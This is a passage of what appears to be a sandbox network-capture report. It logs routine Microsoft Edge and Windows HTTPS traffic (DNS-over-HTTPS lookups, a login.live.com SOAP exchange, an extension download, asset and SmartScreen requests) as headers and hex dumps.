2024-11-22 16:08:56 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49780	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:57 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:57 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e5cfecb7d13-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:57 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49781	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49782	162.159.61.3	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 16:08:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 16:08:57 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 16:08:57 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6a2e5d6f51c436-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 16:08:57 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49783	20.190.147.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 16:08:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 16:08:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 16:07:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_BAY x-ms-request-id: 83c65a4a-28e5-4b63-9c7d-c7123ecb48de PPServer: PPV: 30 H: PH1PEPF00011F89 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 16:08:57 GMT Connection: close Content-Length: 11409
2024-11-22 16:08:58 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49790	23.200.0.6	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:58 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732896533&P2=404&P3=2&P4=Mq4jVraNTONkpwCNHaeLaCPNvwnspFqPTEVw2KszZbmR4o07LDqzkQpH%2farh%2bOC3xDqxn60SoSSaJXC8g17aag%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: bReNTOQ+rEVZn0AAirL6z2 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:08:59 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: ee3e8897-e16a-4653-b8bd-72b9c4fc5923 MS-RequestId: a72f396d-33e9-44b3-b50e-dbadab66433d MS-CV: l7QZ8bGfDpYwO6SLHfwPm6.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Fri, 22 Nov 2024 16:08:59 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.45.172.19,b=454070836,c=g,n=US_NJ_EDISON,o=20940],[c=p,n=US_NJ_EDISON,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.13ac2d17.1732291739.1b109234 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-22 16:08:59 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49789	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:59 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:08:59 UTC	583	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:59 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: b946cd3c-901e-002d-80f5-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160859Z-15b8b599d88m7pn7hC1TEB4axw00000001p000000000g5th Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-22 16:08:59 UTC	15801	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-22 16:08:59 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-22 16:09:00 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49791	20.25.227.174	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:59 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZUlNTkNGbEcwazdLUUNReG4xUkorUT09IiwgImhhc2giOiJhcXlGRGhzUlNXVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-22 16:08:59 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-22 16:08:59 UTC	248	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:59 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-22 16:08:59 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49788	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:59 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
